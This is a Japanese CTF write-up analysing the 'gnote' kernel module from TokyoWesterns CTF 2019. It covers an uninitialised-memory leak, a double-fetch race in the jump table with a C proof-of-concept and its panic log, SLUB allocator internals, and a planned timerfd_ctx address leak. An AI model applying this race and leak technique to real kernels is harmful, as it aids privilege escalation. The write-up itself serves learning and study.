イントロ Link to this heading

今年の夏に行われたTokyoWesterns CTF 2019の pwn 問題gnoteを解いていく。

kernel exploit 問題は初めてということもありかなり手こずった。 今回は kernel 問題を解ける環境を用意することと、 脆弱性の存在する該当箇所及びカーネルの関連箇所・関連事項を自分で読んでデバッグして調べることに重きを置いているため、 pwn 問題を解くことが主な目的ではない。

解き始めるまで Link to this heading

問題について Link to this heading

与えられるファイルは:

  • run.sh: qemu を動かすシェルスクリプト
  • rootfs.cpio: ファイルシステム。flag があるが root 権限じゃないと見られない
  • bzImage: カーネルイメージ
  • gnote.c: カーネルモジュールのソースコード。ビルドされたモジュールはファイルシステムの / に存在し、ファイルシステムのロード時に init ファイルに従ってインストールされる

配布 OS の情報は以下の通り:

.sh
1/ # uname -a
2Linux (none) 4.19.65 #1 SMP Tue Aug 6 18:56:10 UTC 2019 x86_64 GNU/Linux

起動に UEFI ではなく BIOS を用いており、 初期のファイルシステムとしてrootfs.cpioがメモリ上にロードされる (但し今回はそのファイルシステムがずっと使われる)。

ファイルシステムとカーネル本体のロード後は init ファイルの内容が実行される。 initファイルの内容は以下の通り:

init.sh
 1#!/bin/sh
 2/bin/mount -t devtmpfs devtmpfs /dev
 3chown root:tty /dev/console
 4chown root:tty /dev/ptmx
 5chown root:tty /dev/tty
 6mkdir -p /dev/pts
 7mount -vt devpts -o gid=4,mode=620 none /dev/pts
 8
 9mount -t proc proc /proc
10mount -t sysfs sysfs /sys
11
12echo 2 > /proc/sys/kernel/kptr_restrict
13echo 1 > /proc/sys/kernel/dmesg_restrict
14#echo 0 > /proc/sys/kernel/kptr_restrict
15#echo 0 > /proc/sys/kernel/dmesg_restrict
16
17ifup eth0 > /dev/null 2>/dev/null
18
19insmod gnote.ko
20
21echo " ________  ________   ________  _________  _______
22|\   ____\|\   ___  \|\   __  \|\___   ___\\  ___ \
23\ \  \___|\ \  \\ \  \ \  \|\  \|___ \  \_\ \   __/|
24 \ \  \  __\ \  \\ \  \ \  \\\  \   \ \  \ \ \  \_|/__
25  \ \  \|\  \ \  \\ \  \ \  \\\  \   \ \  \ \ \  \_|\ \
26   \ \_______\ \__\\ \__\ \_______\   \ \__\ \ \_______\
27    \|_______|\|__| \|__|\|_______|    \|__|  \|_______|
28
29
30    "
31
32#sh
33setsid cttyhack setuidgid 1000 sh
34
35umount /proc
36umount /sys
37
38poweroff -d 1 -n -f

諸々のファイルシステムをマウントした後 dmesgを制限している。 お誂え向きにデバッグ用のコンフィグまで下にコメントアウトして書いてある (最初はこのファイルの存在に気づかず、dmesgを見ようとして試行錯誤しかなり時間を費やした)。 それからuid 1000でログインするようになっている。

デバッグ環境について Link to this heading

権限が低い環境でデバッグをするのはしんどいため、 まずinitファイル中でdmesgの strict を外し、uid 0(root)でログインするようにinitを変更した。

それと同時に一度 cpio ファイルを以下のコマンドで解凍し:

.sh
1cpio -idv < archive.cpio

ファイルシステム上に/dbgディレクトリを用意してその中でテスト用プログラムなどを置いておけるようにした (なおコンパイル時は-staticオプションが必須である)。

それから展開していじったファイルシステムを qemu の起動時に再び cpio 形式で圧縮してくれるようにrun.shを書き換えた。 さらに、qemu の実行時に gdb からの接続を待つように-Sオプションを付与したり、 デバッグ時にシンボルを参照できるように KASLR を無効にしたりした。 デバッグ中に使用したrun.shは以下の通り:

run.sh
1#run.sh
2#!/bin/sh
3cd ./rootfs_filesystem #ファイルシステム中に入る
4find ./ -print0 | cpio --null -o --format=newc > ./dbgrootfs.cpio #ファイルシステムをcpio形式で圧縮
5mv ./dbgrootfs.cpio ../ #正しいディレクトリへ
6cd ../
7qemu-system-x86_64 -S  -kernel ~/linux-stable/arch/x86/boot/bzImage -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -initrd dbgrootfs.cpio  -m 64M -smp cores=2  -gdb tcp::12350 -nographic -monitor /dev/null -cpu kvm64,+smep #-enable-kvm

なお、自前 OS の環境整備にかなり時間を費やしてしまったが非本質的なのでこれは Appendix として本記事の最後に載せてある。

モジュールの挙動について Link to this heading

モジュール自体は非常に簡素であり、 /proc/gnoteエントリを作成し、 その write/read にハンドラが紐付けられている:

module.c
 1//gnote.cより一部抜粋
 2struct note {
 3  unsigned long size;
 4  char *contents;
 5};
 6struct note notes[MAX_NOTE];
 7
 8ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
 9{
10  unsigned int index;
11  mutex_lock(&lock);
12  /*
13   * 1. add note
14   * 2. edit note
15   * 3. delete note
16   * 4. copy note
17   * 5. select note
18   * No implementation :(
19   */
20 switch(*(unsigned int *)buf){
21    case 1:
22      if(cnt >= MAX_NOTE){
23        break;
24      }
25      notes[cnt].size = *((unsigned int *)buf+1);
26      if(notes[cnt].size > 0x10000){
27        break;
28      }
29      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
30      cnt++;
31      break;
32    case 2:
33      printk("Edit Not implemented\n");
34      break;
35    case 3:
36      printk("Delete Not implemented\n");
37      break;
38    case 4:
39      printk("Copy Not implemented\n");
40      break;
41    case 5:
42      index = *((unsigned int *)buf+1);
43      if(cnt > index){
44        selected = index;
45      }
46      break;
47  }
48  mutex_unlock(&lock);
49  return count;
50}
51
52ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
53{
54  mutex_lock(&lock);
55  if(selected == -1){
56    mutex_unlock(&lock);
57    return 0;
58  }
59  if(count > notes[selected].size){
60    count = notes[selected].size;
61  }
62  copy_to_user(buf, notes[selected].contents, count);
63  selected = -1;
64  mutex_unlock(&lock);
65  return count;
66}

試しにecho "\x03\x00\x00\x00" > /proc/gnote とやると反応がなかったが C プログラムの中でopenして書き込んでやるとしっかりとdmesgで反応を見ることができた:

test.sh
 1/dbg # dmesg | tail
 2IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
 3input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
 4random: mktemp: uninitialized urandom read (6 bytes read)
 5random: mktemp: uninitialized urandom read (6 bytes read)
 6gnote: loading out-of-tree module taints kernel.
 7gnote: module license 'unspecified' taints kernel.
 8Disabling lock debugging due to kernel taint
 9/proc/gnote created
10random: fast init done
11Delete Not implemented <-- しっかりwriteハンドラが応答していることがわかる

write モジュールは1: add note5: select noteしか実装されていない:

  • add noteは最初の 4byte で 0x1 を指定し、次の 4byte で kmalloc するサイズを指定する。
  • の後確保した領域への書き込み等は実装されていない
  • select noteは最初の 4byte で0x5を指定し、次の 4byte で選択するノートのインデックスを指定する
  • readはユーザバッファに、選択されているノートを返す

この時点で書き込みをされていない領域を read モジュールで返していることに明らかな違和感を覚える。 加えて、本来 copy_from_user() で読まなければならないユーザ空間のバッファをそのまま参照しているのも明らかに怪しい (なお今回 SMEP 有効/SMAP 無効より valid な処理ではある)。

実際、適当なサイズでノートを割り当てて直後に read を行うと以下のようなバッファが得られる:

sus.sh
1/ # ./dbg/test2
2read bytes: 100
3str: �����
4hex: *0x80*0x4*0x19*0x3*0x80*0x88*0xff*0xff*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x2*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x30*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x78*0xdc*0xc*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x38*0x0*0x6*0x0*0x40*0x0*0x21*0x0*0x20*0x0*0x7f*0x45*0x4c*0x46*0x2*0x1*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x3*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x74*0x20*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x7c*0xdc*0xf5*0x43*0x13*0xab*0xd3*0x0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0xa9*0x12*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0xc8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x4d*0xb*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xf*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x4*0x40*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x5*0xd8*0xf*0xb0*0x43*0x6e*0xa0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x18*0x90*0x6b*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x65*0x15*0xcc*0x95*0xbc*0x91*0x6d*0x41*0xb1*0xc8*0xf*0xb0*0x43*0x6e*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x5a*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0xb8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xc0*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xcc*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xd4*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xdb*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xe6*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x21*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x90*0xb1*0x92*0xff*0x7f*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xfd*0xfb*0x8b*0x17*0x0*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x11*0x0*0x0*0x0*0x0*0x0*0x0*0x0

kmalloc()で確保された初期化されていないバッファを読み込めていることがわかる。

jmptable の脆弱性について Link to this heading

switch 分岐のアセンブラ Link to this heading

gnote_write()における switch 分岐のコンパイルコードは以下のようになっている:

.S
100100049 83 3b 05          CMP          dword ptr [RBX],0x5
20010004c 77 50             JA           LAB_0010009e
30010004e 8b 03             MOV          EAX,dword ptr [RBX]
400100050 48 8b 04 c5       MOV          RAX,qword ptr [PTR_LAB_00100250 + RAX*0x8]
500100058 e9 ab 0f 00       JMP          __x86_indirect_thunk_rax
6-- Flow Override: CALL_RETURN (CALL_TERMINATOR)

ここで RBX はユーザバッファから渡された最初の 4byte、すなわち選択メニューの番号が入ったバッファのアドレスを指している。 最初にこれが 5 以下かを CMP し、 次にその値をもとにPTR_LAB_00100250に存在する jmptable のエントリの示す先にJMPしている (unsigned として比較しているため 0 以下でも問題ない)。

ここで RBX は2回参照外しされていることに注目する。 間には1命令しかないがもしこの間に RBX の値が変更されてしまえば、 CMP チェックをすり抜けて異様なアドレスを jmptable と認識しながら JMP してしまうことになる。 かなりタイトな制約ではあるが、別スレッドで無限回この操作を繰り返せばいつかはこの制約を突破できると予測できる (タイミングが合わず CMP の前に[RBX]を書き換えてしまったとしても、switch の default ケースに飛ぶだけで何も問題はない)。

以下のサンプルコードで実験してみる:

.c
 1//https://rpis.ec/blog/tokyowesterns-2019-gnote/
 2#include<unistd.h>
 3#include<fcntl.h>
 4#include<pthread.h>
 5#include<stdio.h>
 6
 7#define FAKE "0x55555555"
 8
 9void* thread_func(void* arg) {
10//just repeat xchg $rbx $rax(==0x55555555)
11    printf("...repeating xchg $rbx $0x55555555\n");
12    asm volatile("mov $" FAKE ", %%eax\n"
13                 "mov %0, %%rbx\n"
14                 "lbl:\n"
15                 "xchg (%%rbx), %%eax\n"
16                 "jmp lbl\n"
17                 :
18                 : "r" (arg)
19                 : "rax", "rbx"
20                 );
21    return 0;
22}
23
24int main(void) {
25    int fd = open("/proc/gnote", O_RDWR);
26    if(fd<=0){
27      printf("open error\n");
28      return 1;
29    }
30    unsigned int buf[2] = {0, 0x10001};
31
32    pthread_t thr;
33    pthread_create(&thr, 0, thread_func, &buf[0]);
34
35    for(int ix=0;ix!=100000;++ix){
36      printf("try :%d\n",ix);
37      write(fd, buf, sizeof(buf));
38    }
39
40    return 0;
41}

これは一方でgnote_write()を呼び出し続け、 もう一方のスレッドで RBX の値を0x55555555に変更し続ける。 もし2者のタイミングが一致すれば CMP 前までは0が渡されて jmptable のエントリ選択まで進み、 その後値が0x55555555に変えられて jmptable + 0x55555555 * 0x8に JMP することになるはずである

実際にテストしてみると下のように 7600 回目程の switch でパニックが発生している:

panic.txt
 1(..snipped..)
 2try :7609
 3try :7610
 4try :7611
 5BUG: unable to handle kernel paging request at 000000026aaabb40
 6PGD 8000000002427067 P4D 8000000002427067 PUD 0
 7Oops: 0000 [#1] SMP PTI
 8CPU: 3 PID: 93 Comm: test1 Tainted: P           O      4.19.65 #1
 9Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
10RIP: 0010:gnote_write+0x20/0xd0 [gnote]
11Code: Bad RIP value.
12RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
13RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
14RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
15RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
16R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
17R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
18FS:  00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
19CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
20CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
21Call Trace:
22 proc_reg_write+0x39/0x60
23 __vfs_write+0x26/0x150
24 vfs_write+0xad/0x180
25 ksys_write+0x48/0xc0
26 __x64_sys_write+0x15/0x20
27 do_syscall_64+0x57/0x270
28 ? schedule+0x27/0x80
29 ? exit_to_usermode_loop+0x79/0xa0
30 entry_SYSCALL_64_after_hwframe+0x44/0xa9
31RIP: 0033:0x405187
32Code: 44 00 00 41 54 55 49 89 d4 53 48 89 f5 89 fb 48 83 ec 10 e8 8b fd ff ff 4c 89 e2 41 89 c0 48 89 ee 89 df b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 c4 fd ff ff 48
33RSP: 002b:00007ffe99912990 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
34RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 0000000000405187
35RDX: 0000000000000008 RSI: 00007ffe999129d0 RDI: 0000000000000003
36RBP: 00007ffe999129d0 R08: 0000000000000000 R09: 000000000000000a
37R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000008
38R13: 0000000000000000 R14: 00000000006d6018 R15: 0000000000000000
39Modules linked in: gnote(PO)
40CR2: 000000026aaabb40
41---[ end trace c756a9fd80773a41 ]---
42RIP: 0010:gnote_write+0x20/0xd0 [gnote]
43Code: Bad RIP value.
44RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
45RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
46RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
47RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
48R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
49R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
50FS:  00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
51CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
52CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
53Kernel panic - not syncing: Fatal exception
54Kernel Offset: disabled
55Rebooting in 1 seconds..

おおよその展望 Link to this heading

jmptable の脆弱性によりほぼ任意の場所に JMP できるようになると考えられる。 それから初期化されていないメモリ上に仮に kernel のとあるアドレスを指し示すポインタが入っていた場合、その値を読むことで kernel address をリークすることができる。

もしこの両者が可能ならば、kernel 内の任意の(特定の、指定した)アドレスに JMP できるようになる。 そのためにはまず kernel のメモリ割り当てについて理解する必要がある。 ということで以下では kmalloc()と slub allocator について解釈していく。

kmalloc()とスラブアロケータについて Link to this heading

スラブアロケータ概略 Link to this heading

Linux ではメモリ割り当ての際にバディシステムを採用している。 これはメモリをページ単位で割当てるというものであるが、 これでは少量のメモリ要求に対してかなりのオーバーヘッドが発生してしまい非常にメモリ効率が悪くなってしまう。

そこで採用されているのがスラブアロケータである。

これには SLAB/SLUB/SLOB という系統があるが:

  • SLAB: SunOS で実装された初期のアロケータ
  • SLUB: 現在主に使用されているアロケータ
  • SLOB: 組み込み向け等で使用されているアロケータ

といった用途になっている。 以下では専ら SLUB について扱うことにする。

SLUB は同じサイズのオブジェクトはある決まった領域に置く、究極の bestfit 方式である(といった認識である)。 kernel レベルでは同じ構造体を多数回割当しては解放するためこの手法だとフラグメンテーションが起こりにくいうメリットがある。 詳しいことは参考記事に書いてある。

スラブで主に登場する構造体はkmem_cache_cpu/kmem_cache_node/kmem_cacheであり、それぞれ省略して c/n/s と呼ぶ。 大雑把には s が c/n のポインタをメンバとして保持し、c/s はそれぞれスラブのリストを保持している。 c は現在の CPU に紐付けられた空き領域のあるスラブを保持し、s は他の NUMA ノードのメモリに保持されたスラブを保持している。

以下で実際にコードを眺めてみよう。

kmalloc() Link to this heading

/include/linux/slab.h
 1static __always_inline void *kmalloc(size_t size, gfp_t flags)
 2{
 3	if (__builtin_constant_p(size)) {
 4#ifndef CONFIG_SLOB
 5		unsigned int index;
 6#endif
 7		if (size > KMALLOC_MAX_CACHE_SIZE)
 8			return kmalloc_large(size, flags);
 9#ifndef CONFIG_SLOB
10		index = kmalloc_index(size);
11
12		if (!index)
13			return ZERO_SIZE_PTR;
14
15		return kmem_cache_alloc_trace(
16				kmalloc_caches[kmalloc_type(flags)][index],
17				flags, size);
18#endif
19	}
20	return __kmalloc(size, flags);
21}

今回は SLUB ではないためサイズがKMALLOC_MAX_CACHE_SIZE未満であればkmem_cache_alloc_trace()を呼んで返る。 その際に引数として渡されるkmalloc_cacheskmem_cache*型の二重配列で、 フラグごとサイズごとのスラブキャッシュを示している。 今はkmalloc_index(size)によって得たインデックスによって使用するキャッシュを指定している。

kmem_cache_alloc_trace() Link to this heading

/mm/slub.c
1void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
2{
3	void *ret = slab_alloc(s, gfpflags, _RET_IP_);
4	trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags);
5	ret = kasan_kmalloc(s, ret, size, gfpflags);
6	return ret;
7}

内部では上の 3 つの関数が呼ばれている。 以下その3つを順に見ていく。

slab_alloc()/ slab_alloc_node() Link to this heading

内部で第3引数にNUMA_NO_NODEを指定してそのままslab_alloc_node()を呼ぶ:

/mm/slub.c
 1static __always_inline void *slab_alloc_node(struct kmem_cache *s,
 2		gfp_t gfpflags, int node, unsigned long addr)
 3{
 4	void *object;
 5	struct kmem_cache_cpu *c;
 6	struct page *page;
 7	unsigned long tid;
 8
 9	s = slab_pre_alloc_hook(s, gfpflags);
10	if (!s)
11		return NULL;
12redo:
13    // cmpxchgが同一のCPUで行われることの確認
14	do {
15		tid = this_cpu_read(s->cpu_slab->tid);
16		c = raw_cpu_ptr(s->cpu_slab);
17	} while (IS_ENABLED(CONFIG_PREEMPT) &&
18		 unlikely(tid != READ_ONCE(c->tid)));
19
20	barrier();
21
22	/*
23	 * The transaction ids are globally unique per cpu and per operation on
24	 * a per cpu queue. Thus they can be guarantee that the cmpxchg_double
25	 * occurs on the right processor and that there was no operation on the
26	 * linked list in between.
27	 */
28
29	object = c->freelist;
30	page = c->page;
31	if (unlikely(!object || !node_match(page, node))) {
32	    //スラブが空である
33		object = __slab_alloc(s, gfpflags, node, addr, c);
34		stat(s, ALLOC_SLOWPATH);
35	} else {
36	    //スラブからスラブオブジェクトを取ってこれる
37		void *next_object = get_freepointer_safe(s, object);
38
39		/*
40		 * The cmpxchg will only match if there was no additional
41		 * operation and if we are on the right processor.
42		 *
43		 * The cmpxchg does the following atomically (without lock
44		 * semantics!)
45		 * 1. Relocate first pointer to the current per cpu area.
46		 * 2. Verify that tid and freelist have not been changed
47		 * 3. If they were not changed replace tid and freelist
48		 *
49		 * Since this is without lock semantics the protection is only
50		 * against code executing on this cpu *not* from access by
51		 * other cpus.
52		 */
53		if (unlikely(!this_cpu_cmpxchg_double(
54				s->cpu_slab->freelist, s->cpu_slab->tid,
55				object, tid,
56				next_object, next_tid(tid)))) {
57
58			note_cmpxchg_failure("slab_alloc", s, tid);
59			goto redo;
60		}
61		prefetch_freepointer(s, next_object);
62		stat(s, ALLOC_FASTPATH);
63	}
64	/*
65	 * If the object has been wiped upon free, make sure it's fully
66	 * initialized by zeroing out freelist pointer.
67	 */
68	if (unlikely(slab_want_init_on_free(s)) && object)
69		memset(object + s->offset, 0, sizeof(void *));
70
71	if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
72		memset(object, 0, s->object_size);
73
74	slab_post_alloc_hook(s, gfpflags, 1, &object);
75
76	return object;
77}

freelistに有効な空き領域が繋がっている場合にはthis_cpu_cmpxchg_doubleマクロを使っている。 this_cpu_cmpxchg_double__pcpu_double_call_return_bool macro と define されている。 これによってfreelisttidを新しいものにつなぎ替える (この辺マクロが複雑でよくわからなかった)。 次のprefetch_freepointer()では予め次のfreelistに繋がれるスラブオブジェクトの更に次のオブジェクトを名前の通り prefetch している。

最後にslab_post_alloc_hook()が呼ばれているがこれは以下のようになっている:

.c
 1static inline void slab_post_alloc_hook(struct kmem_cache *s, gfp_t flags,
 2					size_t size, void **p)
 3{
 4	size_t i;
 5
 6	flags &= gfp_allowed_mask;
 7	for (i = 0; i < size; i++) {
 8		void *object = p[i];
 9
10		kmemleak_alloc_recursive(object, s->object_size, 1,
11					 s->flags, flags);
12		kasan_slab_alloc(s, object, flags);
13	}
14
15	if (memcg_kmem_enabled())
16		memcg_kmem_put_cache(s);
17}

HOGE あとで書く HOGE

つまりは Link to this heading

まぁ今のところは特定のスラブが用意されているものはそこにオブジェクトが確保され、 そうでないものは汎用スラブにオブジェクトが確保されると認識しておけば良い。 以下ではこれらのメモリ確保のざっくりした前提を踏まえて、実際に初期化されていないメモリからの leak を目指す。

timerfd_ctx を利用した kernel symbol の leak Link to this heading

前述したように初期化されていないメモリに対してgnote_read()を呼ぶことそこに入っていた値を leak することができる。 前もって入れておくデータとしてはカーネルが使用する何らかの構造体を入れる。

では対象としてどの構造体をターゲットにするかだが、“任意のタイミングで生成・解放すること"ができ、且つ"kernel 内のシンボルのアドレスを含む"ような構造体であれば何でも良い。 参考記事ではこれらを満たす構造体としてtimerfd_ctx構造体を利用している。 よって以下ではtimerfd_ctx構造体についてカーネルを読んでいく。

__x64_sys_timerfd_create システムコール Link to this heading

timerfd_ctxは以下の__x64_sys_timerfd_createシステムコール内で割り当てられる:

.c
 1SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)
 2{
 3	int ufd;
 4	struct timerfd_ctx *ctx;
 5
 6	ctx = kzalloc(sizeof(*ctx), GFP_KERNEL);
 7	if (!ctx)
 8		return -ENOMEM;
 9
10	init_waitqueue_head(&ctx->wqh);
11	spin_lock_init(&ctx->cancel_lock);
12	ctx->clockid = clockid;
13
14	if (isalarm(ctx))
15		alarm_init(&ctx->t.alarm,
16			   ctx->clockid == CLOCK_REALTIME_ALARM ?
17			   ALARM_REALTIME : ALARM_BOOTTIME,
18			   timerfd_alarmproc);
19	else
20		hrtimer_init(&ctx->t.tmr, clockid, HRTIMER_MODE_ABS);
21
22	ctx->moffs = ktime_mono_to_real(0);
23
24	ufd = anon_inode_getfd("[timerfd]", &timerfd_fops, ctx,
25			       O_RDWR | (flags & TFD_SHARED_FCNTL_FLAGS));
26	if (ufd < 0)
27		kfree(ctx);
28
29	return ufd;
30}

この中でtimerfd_ctxは以下のように定義される構造体であり、タイマの残り時間や ID や expire 時のハンドラ等を保持する:

.c
 1struct timerfd_ctx {
 2	union {
 3		struct hrtimer tmr;
 4		struct alarm alarm;
 5	} t;
 6	ktime_t tintv;
 7	ktime_t moffs;
 8	wait_queue_head_t wqh;
 9	u64 ticks;
10	int clockid;
11	short unsigned expired;
12	short unsigned settime_flags;	/* to show in fdinfo */
13	struct rcu_head rcu;
14	struct list_head clist;
15	spinlock_t cancel_lock;
16	bool might_cancel;
17};

ソースコード中では 6 行目でkzalloc()によってこの構造体が確保されている (kzalloc()は領域を 0 クリアするフラグをつけてkmalloc()を呼ぶラッパ)。

しかし実際にカーネルデバッグしてみると以下のようになっている:

.sh
1=> 0xffffffff81101dcd <__x64_sys_timerfd_create+93>:	call   0xffffffff810d0e60 <kmem_cache_alloc>
2Guessed arguments:
3arg[0]: 0xffff888000090700 --> 0x1eac0  <-- この引数の意味は以下参照
4arg[1]: 0x6080c0
5
6
7=> 0xffffffff81101dc1 <__x64_sys_timerfd_create+81>:
8    mov    rdi,QWORD PTR [rip+0x542b58]        # 0xffffffff81644920 <kmalloc_caches+64>

kernel のビルド時に最適化でkmem_cache_alloc()を直接呼び出すように変更されている。 速度的にはそっちのほうがいいんだろうが、 デバッグする側としてはマクロと最適化でインラインが多発しているのはかなりめんどくさい。

さて、上に現れていたkmem_cache_alloc()は2つの引数をとっていた。 引数がどんな意味を持つかを以下のコードと照らし合わせる:

/mm/slub.h
1void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags)
2{
3	void *ret = slab_alloc(s, gfpflags, _RET_IP_);
4
5	trace_kmem_cache_alloc(_RET_IP_, ret, s->object_size,
6				s->size, gfpflags);
7
8	return ret;
9}

つまり、cachep==0xffff888000090700, flags==0x6080c0として呼ばれていることがわかる (cachepのアドレスはすぐあとで使う)。 backtrace 情報を頼りにしながら読み進めていくと、以下のように部分に遭遇する。 今kmem_cache_alloc+186と表示されているが、 これは最適化されていて実際にはslab_alloc_node()を実行しているものと思われる:

debug.sh
 1   0xffffffff810d0f18 <kmem_cache_alloc+184>:	xor    esi,esi
 2=> 0xffffffff810d0f1a <kmem_cache_alloc+186>:	call   0xffffffff8119c6c0 <memset>
 3   0xffffffff810d0f1f <kmem_cache_alloc+191>:	mov    r8,rax
 4   0xffffffff810d0f22 <kmem_cache_alloc+194>:
 5    jmp    0xffffffff810d0ed2 <kmem_cache_alloc+114>
 6   0xffffffff810d0f24:	xchg   ax,ax
 7   0xffffffff810d0f26:	nop    WORD PTR cs:[rax+rax*1+0x0]
 8Guessed arguments:
 9arg[0]: 0xffff888000151300 --> 0xffff888000151400 --> 0xffff888000151500 --> 0xffff888000151600 --> 0xffff888000151700 --> 0xffff888000151800 (--> ...)
10arg[1]: 0x0
11arg[2]: 0x100 <-- memsetの引数
/mm/slub.c
1	if (unlikely(gfpflags & __GFP_ZERO) && object)
2		memset(object, 0, s->object_size);
3
4	slab_post_alloc_hook(s, gfpflags, 1, &object);
5
6	return object;

